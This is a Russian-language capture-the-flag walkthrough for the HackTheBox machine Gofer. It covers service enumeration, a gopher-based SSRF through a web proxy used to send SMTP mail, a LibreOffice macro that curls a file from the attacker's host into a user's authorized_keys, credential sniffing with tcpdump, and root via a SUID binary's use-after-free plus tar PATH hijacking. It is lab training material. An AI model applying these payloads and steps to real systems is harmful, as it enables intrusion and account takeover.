Обзор сервисов

Машине присвоен IP-адрес 10.10.11.225, проведем стандартное сканирование nmap:

$ nmap --privileged -sV -sC -p1-65535 -Pn -oN 10.10.11.225 10.10.11.225
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-02 20:19 GMT
Nmap scan report for gofer.htb (10.10.11.225)
Host is up (0.050s latency).
Not shown: 65530 closed ports
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Gofer
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -2h59m59s
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-10-02T17:20:10
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.21 seconds

К стандартным Linux-портам на HackTheBox добавился SMTP, а также Samba.

Веб-сервис

Чтобы осмотреть веб, нужно прописать домен в /etc/hosts:

Alt text

$ sudo nano /etc/hosts
10.10.11.225 gofer.htb

Alt text

Ничего интересного. Однако обратим внимание на имена людей.

Alt text

Samba

С помощью логина anonymous проверим, что лежит на самбе:

$ smbclient -L 10.10.11.225
Enter WORKGROUP\user's password: 

 Sharename       Type      Comment
 ---------       ----      -------
 print$          Disk      Printer Drivers
 shares          Disk      
 IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
SMB1 disabled -- no workgroup available

На самбе находим резервную копию почты:

$ smbclient \\\\10.10.11.225\\shares
Enter WORKGROUP\user's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Oct 28 19:32:08 2022
  ..                                  D        0  Fri Apr 28 11:59:34 2023
  .backup                            DH        0  Thu Apr 27 12:49:32 2023

  5061888 blocks of size 1024. 2173440 blocks available
smb: \> get .backup
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \.backup
smb: \> cd .backup
smb: \.backup\> dir
  .                                   D        0  Thu Apr 27 12:49:32 2023
  ..                                  D        0  Fri Oct 28 19:32:08 2022
  mail                                N     1101  Thu Apr 27 12:49:32 2023

  5061888 blocks of size 1024. 2173436 blocks available
smb: \.backup\> get mail
getting file \.backup\mail of size 1101 as mail (5.3 KiloBytes/sec) (average 5.3 KiloBytes/sec)
From [email protected]  Fri Oct 28 20:29:30 2022
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <[email protected]>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <[email protected]>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: [email protected]

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

Из письма мы узнаем имя Tom, а также о наличии веб-прокси. Мы также узнаем о пользователе jdavis, а также об использовании LibreOffice (odt формат). Так же мы знаем формат электронных писем - [email protected], [email protected], [email protected], [email protected].

Попробуем найти proxy с помощью gobuster:

$ gobuster vhost -u http://gofer.htb -w /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 20 --append-domain -r 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://gofer.htb
[+] Method:          GET
[+] Threads:         20
[+] Wordlist:        /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: proxy.gofer.htb Status: 401 [Size: 462]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Аналогично добавим домен в /etc/hosts.

Параметр GET встречает нас с помощью Basic Auth, от которого у нас нет кредов.

Alt text

При этом POST параметр и эндпоинт /index.php позволяют нам отправлять данные.

Alt text

Вероятно, нам нужно пробиться через прокси на порт 25, чтобы отправить сообщение Gopher с помощью гайда.

При этом localhost (и его аналог 127.0.0.1 ) заблокирован.

Alt text

Попробуем отправить ссылку на odt документ пользователю jhudson (Joselyn Hudson).

gopher://0:25/_MAIL FROM:<[email protected]>
RCPT To:<[email protected]>
DATA
From:[email protected]
Subject:rce
Message:<a href="http://10.10.14.5:4242/rce.odt>rce.odt</a>
.

Alt text

Полный запрос:

POST /index.php?url=gopher%3a//0%3a25/_MAIL%2520FROM%3a<jdavis%2540gofer.htb>%250ARCPT%2520To%3a<jhudson%2540gofer.htb>%250ADATA%250AFrom%3ajdavis%2540gofer.htb%250ASubject%3arce%250AMessage%3a%253Ca%2520href%253D%2522http%3a//10.10.14.5%3a4242/rce.odt%253Erce.odt%253C/a%253E%250A. HTTP/1.1
Host: proxy.gofer.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

Пользователь скачивает файл. Сделаем файл с макросом, в котором при открытии сработает наша полезная нагрузка.

Макрос:

REM  *****  BASIC  *****

Sub Main
 Shell("curl http://10.10.14.5:4242/authorized_keys -o /home/jhudson/.ssh/authorized_keys")
End Sub

Alt text

В файл authorized_keys положим свой публичный SSH-ключ.

Закроем редактор макросов, после чего в самом документе откроем меню Tools -> Customize -> Events -> Open Document.

Alt text

Запустим HTTP-сервер.

python3 -m http.server 4242

Отправляем запрос с помощью Burp и ждем.

Alt text

После скачивания двух файлов подключаемся по SSH как jhudson:

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

jhudson состоит в группе netdev. К тому же, на машине обнаруживается tcpdump.

Есть интересный бинарник с SUID-битом:

$ find / -perm -u=s -type f 2>/dev/null
...
/usr/local/bin/notes
$ ls -la /usr/local/bin/notes
-rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes

Однако пользователь jhudson не в группе dev и не может запускать его.

$ cat /etc/hosts
127.0.0.1 localhost gofer
127.0.0.1 gofer.htb proxy.gofer.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Запишем трафик через tcpdump:

$ tcpdump -i lo -w traffic.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C24 packets captured
48 packets received by filter
0 packets dropped by kernel

После скачаем файл traffic.pcap с машины и откроем в Wireshark. Среди трафика обнаружим Basic Auth креды:

Alt text

Декодируем эти креды и получим пароль от пользователя tbuckley.

$ echo dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk= | base64 -d
tbuckley:o**********o_h*****i

Подключимся к SSH как tbuckley:

Alt text

Этот пользователь состоит в группе dev и может выполнять бинарник /usr/local/bin/notes.

Попробуем разреверсить его.

Сразу бросается в глаза, что происходит вызов tar от пользователя с UID и GID 0 (root). Если мы провалимся в эту ветку, то можно подменить tar с помощью PATH.

Alt text

После запуска бинарника сначала надо создать пользователя, но мы имеем роль user, а не admin.

Alt text

Alt text

Чтобы получить роль admin, действуем следующим образом:

  • 1 => создаем пользователя
  • 3 => удаляем пользователя
  • 4 => создаем заметку ccccccccccccccccccccccccadmin (24 символа c, за ними admin)

Alt text

tbuckley@gofer:~$ mkdir t
tbuckley@gofer:~$ cd t
tbuckley@gofer:~/t$ nano tar
tbuckley@gofer:~/t$ chmod +x tar 
tbuckley@gofer:~/t$ export PATH=$(pwd):$PATH
tbuckley@gofer:~/t$ echo $PATH
/home/tbuckley/t:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
tbuckley@gofer:~/t$ /usr/local/bin/notes

Теперь повторяем предыдущий цикл и на последнем шаге выбираем пункт 8.

Alt text

Флаг суперпользователя

Alt text